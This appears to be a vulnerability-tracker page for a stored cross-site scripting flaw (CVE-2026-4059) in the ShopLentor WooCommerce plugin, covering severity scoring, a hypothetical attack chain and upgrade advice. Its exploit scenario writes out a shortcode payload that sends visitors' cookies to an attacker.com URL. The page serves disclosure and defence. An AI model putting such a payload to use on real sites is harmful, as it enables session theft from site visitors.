Shoplentor All In One Woocommerce Growth Store Enhancement Plugin
CVE-2026-4059
|
EUVD-2026-22217
MEDIUM
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessGain contributor account access
-
DeliveryInsert malicious shortcode in page
-
ExploitPublish page with payload
-
ExecutionVisitor loads page
-
PersistPayload executes in visitor browser
-
ImpactSteal session token or redirect user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C) indicates remote network access with low attack complexity and Contributor-level privileges required; the vulnerability crosses security boundaries (S:C) and impacts confidentiality and integrity with low severity. The PR:L (Contributor-level authentication) requirement reduces immediate risk compared to unauthenticated XSS, as attackers must already possess account access. However, many WordPress sites have multiple contributors, freelancers, or third-party integrations with contributor access, increasing the practical attack surface. The stored nature means the payload persists and affects all visitors, not just the attacker's session. Patch availability in version 3.3.6 (confirmed via changeset references) and the moderate CVSS score (6.4) suggest this is a real priority for sites with contributor-level access control concerns, but not an emergency compared to unauthenticated remote code execution vulnerabilities. No public exploit code or KEV confirmation is noted in the provided data, indicating this is not currently confirmed as actively exploited in the wild. |
| Exploit ScenarioDerived | An authenticated attacker with Contributor-level access to a WordPress site using ShopLentor creates or edits a page and inserts the shortcode [woolentor_quickview_button button_text="<img src=x onerror=alert('XSS')+document.location='https://attacker.com/steal?cookie='+document.cookie>"] into the page content. When any user (including administrators) visits the page, the malicious script executes in their browser, potentially stealing session cookies, redirecting to phishing pages, or modifying page content. No user interaction beyond page load is required (UI:N in CVSS). |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 14, 2026
Stored Cross-Site Scripting in ShopLentor WordPress plugin (versions up to 3.3.5) via the woolentor_quickview_button shortcode's button_text attribute allows authenticated attackers with Contributor-level access to inject arbitrary JavaScript that executes for all site visitors. The vulnerability stems from insufficient input sanitization and missing output escaping on user-supplied shortcode attributes. With a CVSS score of 6.4 and confirmed patch availability in version 3.3.6, this poses a moderate risk to WordPress installations using the plugin, particularly those with multiple contributor-level users.
RemediationAI
Upgrade the ShopLentor plugin to version 3.3.6 or later, which includes fixes for shortcode attribute sanitization and output escaping. The patch is available through the WordPress plugin repository (changeset 3493664 in the trunk branch confirms the fix). Site administrators should update via WordPress Admin > Plugins > Installed Plugins and click Update, or manually upload the patched version. If immediate patching is not possible, consider temporarily disabling the woolentor_quickview_button shortcode or restricting contributor-level access to only trusted users until the update can be applied. Refer to the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/fdf0b13e-154c-4007-bfc2-5346d906f7ca?source=cve for additional context and verification.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The ShopLentor plugin (CPE: cpe:2.3:a:devitemsllc:shoplentor_-_all-in-one_woocommerce_growth_&_store_enhancement_plugin) implements the woolentor_quickview_button shortcode without proper input validation and output encoding. The button_text attribute, processed in the Frontend/Shortcode.php file (line 61), is rendered directly into the quickview-button.php template without applying WordPress escaping functions such as esc_attr() or esc_html(). This is a classic Stored XSS vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation) where user-controlled data reaches the output context unfiltered. Shortcode attributes in WordPress are typically user-controllable by authenticated users with post/page editing capabilities, making this a natural attack surface when sanitization is omitted.
Know when Shoplentor All In One Woocommerce Growth Store Enhancement Plugin gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The ShopLentor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the woolentor_quickview_button shortcode's button_text attribute in all versions up to, and including, 3.3.5. This is due to insufficient input sanitization and missing output escaping on user-supplied shortcode attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in WordPress Plugin XSS Vulnerabilities
View all 4Arbitrary PHP function execution in ShopLentor (woolentor-addons) for WordPress up to and including version 3.3.7 allows
Reflected cross-site scripting in the ShopLentor (WooLentor Addons) WordPress plugin up to and including version 3.5.1 l
Authenticated SQL injection in ShopLentor for WooCommerce allows administrator-level attackers to extract sensitive data
Information disclosure in ShopLentor WordPress plugin versions ≤3.4.5 allows authenticated attackers with contributor-le
GitHub PoC
Exploit-DB